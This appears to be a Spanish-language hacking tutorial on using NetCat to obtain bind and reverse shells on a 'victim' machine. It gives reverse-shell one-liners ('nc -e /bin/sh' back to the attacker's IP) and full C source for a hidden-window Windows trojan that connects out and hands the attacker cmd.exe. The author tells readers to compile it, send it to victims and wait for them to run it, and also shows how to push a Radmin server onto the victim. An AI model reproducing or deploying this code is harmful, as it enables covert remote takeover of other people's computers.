You are on page 1of 6

MANUAL NETCAT

Introduccin:

Como muchos sabris NetCat se ha venido haciendo ms famoso cada da. Esta fantstica herramienta que nos permite hacer muchsimas cosas... Desde montar un chat, hasta enviar ficheros o averiguar datos sonbre un web, por ello NetCat ( NC) se ha ido convirtiendo tan famoso. En este manual no voy a explicar cmo hacer un chat, ni ninguna de sus ualidades, lo que voy a intentar explicar es cmo conseguir una shell (una consola, una terminal, un programa de comandos etc) haciendo uso de l. Preparndose Pues bien, lgicamente lo primero que necesitamos es NetCat. Lo podis encontrar en google, por inet. Buscad bien, sino en nuestra web est subido, en la parte de Herramientas. De momento slo necesitamos eso, cuando vayan surgiendo ms cosas os las ir explicando. Por cierto, tambin ncesitamos una shell, tanto de windows como de Linuc o del SO que sea. Los de Linux podis encontrar NC en sourceforge por ejemplo, en cuanto a lo usuarios de Windows, una vez que lo bajis descomprimidlo en system32, para hacer ms fcil su manejo. Vctima y atacante Bueno, quera dejar una cosa clara antes de comenzar. Este texto lo he escrito en mi mquina de windows, asi que el atacante ser 192.168.1.33 con sun SO de windows, y la vctima ser 192.168.1.34 con un SO de Linux. Dicho esto pasemos a la accin.

Obtener una shell directamente: Una shell directa es bastante fcil de lograr, pero no es la ms recomendada, conforme vayis leyendo os daris cuenta de sus desventajas. Para lograr una shell directa el equipo vctima tiene que ejecutar el siguiente comando: Cdigo:
nc -l -e /bin/sh -p 6000

Os preguntaris, y qu es todo eso? Pues os lo explico: nc -l -e /bin/sh -p Ah invocamos al NetCat Para poner a la escucha un puerto Sirve para llamar a la ejecucin de un programa. Es la shell de Linux, en windows sera cmd.exe Para indicar qu puerto queremos poner a la escucha

De tal manera que lo que hacemos en la vctima es poner a la escucha el puerto 6000, sirviendo para alguna conexin remota el programa /bin/sh, que es la shell de Linux. Si la vctima es un SO Windows, este progama sera cmd.exe. Una vez hecho eso en la vctima nos queda conectar con ella, con la mquina atacante. Para ello simplemente indicamos IP y PUERTO: nc -vv <IP> <PUERTO> Donde: -vv Sirve para dar ms datos, es decir, datos detallado de la conexin. <IP> Aqu va la IP de la vctima. <PUERTO> Aqu el Puerto de conexin. En mi ejemplo el comando qued de la siguiente manera: Cdigo:
nc -vv 192.168.1.34 6000

Y obten una shell de mi mquina Linux, hice un dir y me devolvi los datos:

NOTA: En este ejemplo no aparece el clsico "c:\" porque la vctima es un SO Linux, si fuera un Windows si aparecera.Otra cosa importante a decir es que si tenemos un router o firewall, debis abrir los puertos, sino nada servir. Obtener una shell inversa: Para m, para m... esta es la manera ms eficaz de obtener una shell, porque t no te conectas a tu vctima, es ella quien se conecta a ti. Vemoslo con un ejemplo: En la mquina atacante pongo este comando: Cdigo:
nc -vv -l -p 6000

De manera que pongo a la escucha el puerto 6000. En mi mquina vctima (Linux) pongo el siguiente comando: Cdigo:
nc -e /bin/sh 192.168.1.33 6000

As creo que lo entendemos mejor. Es decir, la vctima sirve la shell y se conecta al atacante. Esto tiene muchas ventajas, ya que si por ejemplo tienes una vctima con IP Dinmica (la IP cambia cada X tiempo) no podrs tenerla como vctima el tiempo que quieras, y cuando intentes conectar no podrs porque su IP habr cambiado. Pero si n cambio es ella la que se conecta a ti, ah ests ganando, porque t puedes ponerte un dominio NO-IP por ejemplo, y cada vez que te pongas a la escucha recibirs la shell.

De manera que comprobado con mis dos mquinas, funciona:

Hasta ahora os estaris preguntando esto: De qu sirve el NetCat si hay que tener acceso fsico a la PC? Pues no. No necesariamene hay que tener acceso fsico a la PC. Aqu os dejo un exploit para windows (para Linux no hay virus, ni exploit ni nada [si lso hay pero no de NetCat]) con el que podris recibir una shell inversa: Cdigo:
#include <winsock2.h> #include <stdio.h> #include <windows.h> #pragma comment(lib,"ws2_32") int main(int argc, char *argv[]) { ShowWindow(GetForegroundWindow(),SW_HIDE); WSADATA wsaData; SOCKET hSocket; STARTUPINFO si; PROCESS_INFORMATION pi; struct sockaddr_in addr; memset(&addr,0,sizeof(addr)); memset(&si,0,sizeof(si)); WSAStartup(MAKEWORD(2,0),&wsaData); hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL); addr.sin_family = AF_INET; addr.sin_port = htons(PUERTO); //Atencion a esta linea, aki va el puerto de conexion NetCat addr.sin_addr.s_addr = inet_addr("AKI TU IP O DOMINIO NO-IP");//Atencion a esta linea, aki va tu IP connect(hSocket,(struct sockaddr*)&addr,sizeof(addr)); si.cb = sizeof(si); si.dwFlags = STARTF_USESTDHANDLES;

si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket; CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi); ExitProcess(0); }

Esto es un cdigo en C++, slo debis cambiarle un par de cosillas. Una vez cambiadas lo nico que tenis que hacer es compilarlo y hacer un EXE, para ello podis usar DevC++ o vuestro compilador preferido. Enviis este ejecutable, y os ponis a la escucha con el puerto que hayis puesto, y cuando tu vctima lo ejecuta ya tendrs una shell inversa. Tambin podeis programar un BAT, que descarga el NC y haga la conexin. Adems del BAT y del cdigo en C hay muchas utilidades por ah, por ejemplo, esta: http://venus.walagata.com/w/nc2k5/1401581.rar Y buscando por google encontraris ms. Enviar y recibir archivos con NetCat: Para poder enviar y recibir archivos con NetCat (ojo, por NetCat, no por tFTP ni nada de eso) es necesario ejecutar comandos en ambas mquinas, apuntando al archivo que se quiera mandar, de la siguiente forma: Suponiendo que el atacante quiere enviar un servidor Radmin a la vctima: Cdigo:
nc <IP> <PUERTO> < "Archivo"

Y para recibir: Cdigo:


nc -l -p <PUERTO> > "Archivo"

De tal manera que si quiero enviar: r_server.exe har: Cdigo:


nc 192.168.1.34 6000 < "r_server.exe"

Y en la mquina vctima: Cdigo:


nc -l -p 6000 > "r_server.exe"

Nota: La transferencia de archivos por NetCat es muy bsica y se aconseja no usarla, puede ser lenta y mala.

Otros mtodos de transferencia de archivos: Al ser la transferencia por NetCat "mala y lenta", podemos usar otros mtodos de transferencia de archivos, una vez que hayamos conseguido shell. Uno de ellos es el tFTP, del cual no voy a explicar nada porque no viene a cuento, pero podis buscar manuales en google. Otro mtodo de transferencia es FTP, un cliente FTP lo tiene cualquier SO por defecto, slo hay que conectarse al servidor FTP y de ah descargar; igual que con tFTPpodis buscar algn manual.

You might also like